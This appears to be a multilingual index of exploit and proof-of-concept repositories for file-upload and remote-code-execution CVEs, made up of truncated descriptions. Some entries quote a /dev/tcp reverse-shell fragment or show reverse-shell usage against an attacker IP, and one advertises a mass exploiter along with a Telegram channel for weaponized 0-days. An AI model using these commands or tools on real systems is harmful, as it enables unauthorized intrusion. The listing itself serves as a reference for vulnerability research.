CVE-2026-88396

ApiAdmin v5.0 and before is vulnerable to Directory Traversal. The admin file-upload endpoint POST /admin/Index/upload in ApiAdmin takes the uploaded file's extension verbatim there is no whitelist, blacklist or content check and moveuploadedfile drops the file into the web-accessible directory...

CVE-2025-2005

CVE-2025-2005 Il plugin WordPress Front End Users = 3.2.32 è vulnerabile al caricamento arbitrario di file Exploit del Plugin WordPress Front-End Users Informazioni sulla Vulnerabilità Nome del Plugin : Front-End Users Plugin Versione Affetta : = 3.2.32 Tipo di Vulnerabilità : Caricamento...

CVE-2026-102777

The Joomla Extension - svenbluege.de Event Gallery extension (versions

CVE-2026-102777 Joomla Extension - svenbluege.de - Server-side request forgery in the Google Photos picker in Event Gallery extension < 6.6.0

Joomla Extension - svenbluege.de - Server-side request forgery in the Google Photos picker in Event Gallery extension 6.6.0 - The Google Photos picker of the back-end upload page fetches the thumbnails of the picked images through the server, with the OAuth access token of the Google Photos...

CVE-2026-0740-upload-template

Questo repository non contiene un README...

CVE-2026-4040-Race-Condition-in-File-Upload-Leading-to-RCE

CVE-2026-4040 – Race Condition nel caricamento dei file che porta a RCE Codice del programma Python Flask uploadserver.py - File upload with race condition from flask import Flask, request import os, tempfile, time, threading app = Flaskname UPLOADDIR = '/tmp/uploads' os.makedirsUPLOADDIR,...

CVE-2024-25832-PoC

CVE-2024-25830 und CVE-2024-25832 - Unzureichende Zugriffskontrolle und uneingeschränkter Dateiupload bei DataCube3 Übersicht Dieses Repository enthält einen Proof of Concept PoC für eine zweistufige Exploit-Kette, die auf DataCube3-Geräte abzielt. Sie kombiniert CVE-2024-25830 Unzureichende...

CVE-2023-24998

Quando multipartResolver non è definito o è registrato StandardServletMultipartResolver Viene utilizzato il FileUpload dei pacchetti interni di Tomcat In questo caso la versione di Tomcat deve essere superiore alla 9.0.71 spring boot 2.7.8 L'impostazione maxParameterCount Default: 10000 di Tomcat...

comfyui-CVE-2026-68771-PoC

CVE-2026-68771 — ComfyUI: RCE non autenticato tramite deserializzazione non sicura Solo a scopo didattico. Utilizzare esclusivamente contro sistemi di propria proprietà o per i quali si dispone di autorizzazione scritta esplicita per i test. Informazioni su ComfyUI ComfyUI è un'interfaccia grafic...

CVE-2026-14894

CVE-2026-14894 Caricamento arbitrario di file Nxploited Mass Exploiter — Super Forms & Elementor Pro 🩸 Unisciti al nostro Telegram per le ultime 0-day esclusive e CVE weaponized 📡 Canale: https://t.me/KNxploited 👤 Nxploited | @Kxploit Un mass exploiter multi-thread ad alta velocità che concatena...

CVE-2014-6271

Hellshocker 0.1.1 Strumento per sfruttare la vulnerabilità Shellshock Sei stanco di usare exploit Shellshock deboli o di entrare nel server con "/bin/bash & /dev/tcp/IP/porta 0&1"? Sì, devi caricare ed eseguire qualcosa di più complesso sul server, e la codifica in base64 di un file enorme è...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager Module Upload RCE Esecuzione di codice in remoto RCE autenticata tramite caricamento ZIP non convalidato nell'endpoint di aggiornamento dei moduli. Affetto: OpenSTAManager = 2.10.x Requisiti pip install requests Utilizzo Reverse shell Penelope o qualsiasi listener...

CVE-2023-4220

CVE-2023-4220 Exploit Chamilo LMS - Esecuzione di codice remoto non autenticata tramite caricamento di file di grandi dimensioni Uso cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example:...

CVE-2021-44967

CVE-2021-44967 Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Discovered by: Y1LD1R1M Exploit Author: D3Ext Vendor Homepage: https://www.limesurvey.org/ Software Link:...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 RCE autenticato CVE-2021-31630 Questo è un proof-of-concept moderno compatibile con Python 3.13+ per CVE-2021-31630, una vulnerabilità in OpenPLC v3 che consente a un utente autenticato di caricare un livello hardware personalizzato contenente codice malevolo, portando all'esecuzione...

CVE-2025-5394

🚨 CVE-2025-5394 - Upload Arbitrario di Plugin senza Autenticazione nel Tema Alone 📌 Prodotto interessato: Alone – Tema WordPress Multipurpose Non-profit per Beneficenza Versioni: = 7.8.3 CVE: CVE-2025-5394 Punteggio CVSS: 9.8 Critico 🔥 Riepilogo della vulnerabilità: Il tema Alone per WordPress è...

CVE-2021-21972

CVE-2021-21972 Descrizione della vulnerabilità Vulnerabilità di esecuzione di codice CVE-2021-21972 Un attaccante malintenzionato con accesso alla porta 443 può inviare richieste appositamente costruite al vCenter Server, causando infine l'esecuzione remota di codice arbitrario. Rilevamento della...

CVE-2024-3400

CVE-2024-3400 Einfacher Python-Code, um das willkürliche Hochladen auf eine PaloAlto zu überprüfen Überprüft einfach die Statuscodes, die vom PaloAlto vor und nach der Dateierstellung zurückgegeben werden. Dies erstellt einen zufällig generierten Dateinamen und versucht, ihn nach dem Posten...

Vmware-ESXI

CVE-2024-37085 upload di shell non autenticato fino a diventare amministratore completo su hypervisor esxi appartenenti a un dominio. Scarica ESXIVORTEX Dettagli: un bypass dell'autenticazione che porta all'upload di una shell nel contesto di vpxuser, consentendo di ottenere pieni permessi...

CVE-2021-45010

CVE-2021-45010 🐍 Erfundener Python PoC-Exploit für CVE-2021-45010. Tiny File Manager 2.4.7 Verwendung usage: main.py -h -u URL -l USERNAME -p PASSWORD -g GUIPATH -r FSRELPATH options: -h, --help show this help message and exit -u URL, --url URL Base URL -l USERNAME, --username USERNAME Username -...